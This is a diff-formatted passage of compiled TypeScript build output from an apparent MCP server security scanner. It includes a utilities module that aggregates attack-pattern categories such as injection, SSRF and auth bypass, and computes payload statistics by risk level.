lowRiskPayloads: number;
|
|
53
|
+
payloadTypeBreakdown: Record<string, number>;
|
|
54
|
+
averagePayloadsPerAttack: number;
|
|
55
|
+
};
|
|
56
|
+
//# sourceMappingURL=utils.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"utils.d.ts","sourceRoot":"","sources":["../../../src/lib/securityPatterns/utils.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,aAAa,EAAE,eAAe,EAAE,MAAM,SAAS,CAAC;AAQzD;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AACH,eAAO,MAAM,wBAAwB,EAAE,aAAa,EAOnD,CAAC;AAEF;;GAEG;AACH,wBAAgB,oBAAoB,CAClC,UAAU,EAAE,MAAM,EAClB,KAAK,CAAC,EAAE,MAAM,GACb,eAAe,EAAE,CAQnB;AAED;;GAEG;AACH,wBAAgB,oBAAoB,IAAI,aAAa,EAAE,CAEtD;AAED;;GAEG;AACH,wBAAgB,oBAAoB;;;;;;;;EA8BnC"}
|
|
@@ -0,0 +1,96 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Security Patterns Utilities
|
|
3
|
+
*
|
|
4
|
+
* Aggregates all pattern modules and provides utility functions
|
|
5
|
+
* for accessing and analyzing security patterns.
|
|
6
|
+
*/
|
|
7
|
+
import { INJECTION_PATTERNS } from "./injectionPatterns.js";
|
|
8
|
+
import { VALIDATION_PATTERNS } from "./validationPatterns.js";
|
|
9
|
+
import { TOOL_SPECIFIC_PATTERNS } from "./toolSpecificPatterns.js";
|
|
10
|
+
import { RESOURCE_EXHAUSTION_PATTERNS } from "./resourceExhaustionPatterns.js";
|
|
11
|
+
import { AUTH_SESSION_PATTERNS } from "./authSessionPatterns.js";
|
|
12
|
+
import { ADVANCED_EXPLOIT_PATTERNS } from "./advancedExploitPatterns.js";
|
|
13
|
+
/**
|
|
14
|
+
* ========================================
|
|
15
|
+
* BACKEND API SECURITY PATTERNS
|
|
16
|
+
* ========================================
|
|
17
|
+
*
|
|
18
|
+
* 32 focused patterns for MCP server API security
|
|
19
|
+
*
|
|
20
|
+
* Architecture: Attack-Type with Specific Payloads
|
|
21
|
+
* - Critical Injection (6 patterns): Command, Calculator, SQL, Path Traversal, XXE, NoSQL
|
|
22
|
+
* - Input Validation (3 patterns): Type Safety, Boundary Testing, Required Fields
|
|
23
|
+
* - Protocol Compliance (2 patterns): MCP Error Format, Timeout Handling
|
|
24
|
+
* - Tool-Specific Vulnerabilities (7 patterns): SSRF, Unicode, Nested, Package, Exfil, Config, Shadow
|
|
25
|
+
* - Resource Exhaustion (2 patterns): DoS/Resource Exhaustion, Insecure Deserialization
|
|
26
|
+
* - Auth & Session (5 patterns): Token Theft, Permission Scope, Code Execution, Auth Bypass, Session Management
|
|
27
|
+
* - Advanced Exploits (7 patterns): State Bypass, Chain, Output Injection, Secret, Blacklist, Crypto, Permissions
|
|
28
|
+
*
|
|
29
|
+
* Scope: Backend API Security ONLY
|
|
30
|
+
* - Tests structured data inputs to API endpoints
|
|
31
|
+
* - Validates server-side security controls
|
|
32
|
+
* - Tests MCP protocol compliance
|
|
33
|
+
* - Tests tool-specific vulnerability patterns with parameter-aware payloads
|
|
34
|
+
*
|
|
35
|
+
* Out of Scope: LLM Prompt Injection
|
|
36
|
+
* - MCP servers are APIs that receive structured data, not prompts
|
|
37
|
+
* - If a server uses an LLM internally, that's the LLM's responsibility
|
|
38
|
+
* - We test the MCP API layer, not the LLM behavior layer
|
|
39
|
+
*/
|
|
40
|
+
export const SECURITY_ATTACK_PATTERNS = [
|
|
41
|
+
...INJECTION_PATTERNS,
|
|
42
|
+
...VALIDATION_PATTERNS,
|
|
43
|
+
...TOOL_SPECIFIC_PATTERNS,
|
|
44
|
+
...RESOURCE_EXHAUSTION_PATTERNS,
|
|
45
|
+
...AUTH_SESSION_PATTERNS,
|
|
46
|
+
...ADVANCED_EXPLOIT_PATTERNS,
|
|
47
|
+
];
|
|
48
|
+
/**
|
|
49
|
+
* Get all payloads for an attack type
|
|
50
|
+
*/
|
|
51
|
+
export function getPayloadsForAttack(attackName, limit) {
|
|
52
|
+
const pattern = SECURITY_ATTACK_PATTERNS.find((p) => p.attackName === attackName);
|
|
53
|
+
if (!pattern)
|
|
54
|
+
return [];
|
|
55
|
+
const payloads = pattern.payloads;
|
|
56
|
+
return limit ? payloads.slice(0, limit) : payloads;
|
|
57
|
+
}
|
|
58
|
+
/**
|
|
59
|
+
* Get all attack patterns (for testing all tools)
|
|
60
|
+
*/
|
|
61
|
+
export function getAllAttackPatterns() {
|
|
62
|
+
return SECURITY_ATTACK_PATTERNS;
|
|
63
|
+
}
|
|
64
|
+
/**
|
|
65
|
+
* Get pattern statistics
|
|
66
|
+
*/
|
|
67
|
+
export function getPatternStatistics() {
|
|
68
|
+
const totalAttackTypes = SECURITY_ATTACK_PATTERNS.length;
|
|
69
|
+
let totalPayloads = 0;
|
|
70
|
+
let highRiskPayloads = 0;
|
|
71
|
+
let mediumRiskPayloads = 0;
|
|
72
|
+
let lowRiskPayloads = 0;
|
|
73
|
+
const payloadTypeBreakdown = {};
|
|
74
|
+
SECURITY_ATTACK_PATTERNS.forEach((pattern) => {
|
|
75
|
+
totalPayloads += pattern.payloads.length;
|
|
76
|
+
pattern.payloads.forEach((payload) => {
|
|
77
|
+
if (payload.riskLevel === "HIGH")
|
|
78
|
+
highRiskPayloads++;
|
|
79
|
+
else if (payload.riskLevel === "MEDIUM")
|
|
80
|
+
mediumRiskPayloads++;
|
|
81
|
+
else
|
|
82
|
+
lowRiskPayloads++;
|
|
83
|
+
payloadTypeBreakdown[payload.payloadType] =
|
|
84
|
+
(payloadTypeBreakdown[payload.payloadType] || 0) + 1;
|
|
85
|
+
});
|
|
86
|
+
});
|
|
87
|
+
return {
|
|
88
|
+
totalAttackTypes,
|
|
89
|
+
totalPayloads,
|
|
90
|
+
highRiskPayloads,
|
|
91
|
+
mediumRiskPayloads,
|
|
92
|
+
lowRiskPayloads,
|
|
93
|
+
payloadTypeBreakdown,
|
|
94
|
+
averagePayloadsPerAttack: Math.round(totalPayloads / totalAttackTypes),
|
|
95
|
+
};
|
|
96
|
+
}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Input Validation and Protocol Compliance Patterns
|
|
3
|
+
*
|
|
4
|
+
* Tests for input validation and MCP protocol compliance.
|
|
5
|
+
* Includes: Type Safety, Boundary Testing, Required Fields,
|
|
6
|
+
* MCP Error Format, Timeout Handling
|
|
7
|
+
*/
|
|
8
|
+
import { AttackPattern } from "./types.js";
|
|
9
|
+
/**
|
|
10
|
+
* Input validation and protocol compliance patterns (5 patterns)
|
|
11
|
+
*/
|
|
12
|
+
export declare const VALIDATION_PATTERNS: AttackPattern[];
|
|
13
|
+
//# sourceMappingURL=validationPatterns.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"validationPatterns.d.ts","sourceRoot":"","sources":["../../../src/lib/securityPatterns/validationPatterns.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,aAAa,EAAE,MAAM,SAAS,CAAC;AAExC;;GAEG;AACH,eAAO,MAAM,mBAAmB,EAAE,aAAa,EA4G9C,CAAC"}
|